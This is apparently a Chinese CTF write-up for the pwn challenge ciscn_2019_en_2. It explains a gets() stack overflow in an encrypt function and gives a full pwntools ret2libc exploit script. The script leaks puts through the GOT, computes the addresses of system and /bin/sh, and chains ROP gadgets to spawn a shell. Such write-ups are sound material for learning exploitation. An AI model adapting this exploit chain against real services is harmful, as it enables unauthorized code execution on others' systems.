【CTF】ciscn_2019_en_2

解题思路:

1 先反编译,粗略看了下,溢出点应该在encrypt函数里(只贴关键部分):

void encrypt(char *__block,int __edflag)
{
  size_t sVar1;
  long lVar2;
  ulong uVar3;
  undefined8 *puVar4;
  undefined8 local_58 [9];
  ...
  *(undefined2 *)puVar4 = 0;
  puts("Input your Plaintext to be encrypted");
  gets((char *)local_58); // 可溢出
  ....
}

找溢出位置时,出问题的rsp是加密后的文本,需要到加密后的文本里去算偏移。
2 找可利用函数,未找到。看来应该是return to libc。首先需要获取某libc函数的内存地址,有puts函数,直接就用puts了。
puts 在got的位置:
00602020 addr puts
puts在plt的位置:
004006e0 addr puts
(这部分还得回去再翻翻书,got和plt的关系)
3 剩下的都是常规操作了:

  1. 获取对应libc的system、puts、/bin/sh的地址。
  2. 计算system、/bin/sh到puts的偏移
  3. 根据获取的puts的内存地址,计算system、/bin/sh的内存地址
  4. 找gadget,根据计算的内存地址构造输入

4 脚本如下(代码未优化):

from pwn import *
from pwnlib.shellcraft import i386
import time
elf = ELF('ciscn_2019_en_2') 
so = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 需要ELF信息对应的libc

so_system_addr = so.symbols['system'] # 获取system在libc中的位置
so_puts_addr = so.symbols['puts']  # 获取puts在libc的位置
so_binsh_addr = next(so.search(b'/bin/sh')) # 获取/bin/sh在libc的位置
print("so_system_addr: " + hex(so_system_addr))
print("so_puts_addr: " + hex(so_puts_addr))
print("so_binsh_addr: " + hex(so_binsh_addr))
system_puts_offset = so_system_addr - so_puts_addr # 计算system到puts的偏移
binsh_puts_offset = so_binsh_addr - so_puts_addr  # 计算/bin/sh到puts的偏移

sh = process('ciscn_2019_en_2')
#sh = remote('127.0.0.1', 1299)
pattern_str = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
nops = b"\x90" * (88)
rop = nops
elf_puts = elf.symbols['puts']
print(hex(elf_puts))
rop  += p64(0x00400c20) # __libc_csu_init 用于栈平衡
#rop  += p64(0x00602020) # got puts
rop  += p64(0x00400c83) # pop rdi; ret
rop  += p64(0x00602020) # got puts  打印puts的内存地址
rop  += p64(elf_puts) # elf puts
rop  += p64(0x00400c20) # __libc_csu_init
rop  += p64(0x00400b28) # main 重新跳到main函数
#rop += pattern_str.encode() # 为了计算跳到main的溢出点

print(rop)
with open("payload.txt", "wb") as f:
    f.write(b'1\n' + rop) # 前面加1'\n',是为了r < payload.txt时,自动填充第一个输入
    
#time.sleep(5)
print("round 2")
sh.recvuntil('choice')
sh.sendline('1')
sh.recvuntil('encrypted')
sh.sendline(rop)

s = sh.recvline()
print(s)
s = sh.recvline()
print(s)
s = sh.recvline()
print(s)
s = sh.recvline()
print(s)

puts_mem_addr = int.from_bytes(s[:-1],'little') # 获取puts的内存地址
system_mem_addr = puts_mem_addr + system_puts_offset  # 计算system的内存地址
binsh_mem_addr = puts_mem_addr + binsh_puts_offset # 计算/bin/sh的内存地址
print("puts_mem_addr: " + hex(puts_mem_addr))
print("system_mem_addr: " + hex(system_mem_addr))
print('binsh_mem_addr: ' + hex(binsh_mem_addr))


rop = nops
rop  += p64(0x00400c20) # __libc_csu_init
rop  += p64(0x00400c83) # pop rdi; ret
rop  += p64(binsh_mem_addr) # /bin/sh
rop  += p64(system_mem_addr) # system

sh.recvuntil('choice')
sh.sendline('1')
sh.recvuntil('encrypted')
sh.sendline(rop)
sh.interactive()

总结:

做这道题,思路其实一直比较清晰,但是花的时间比预计的要多些,还是具体到操作层面时工具或者方法不够熟练.

附录:

1 一步一步学ROP之linux_x64篇

你可能感兴趣的:(CTF,安全)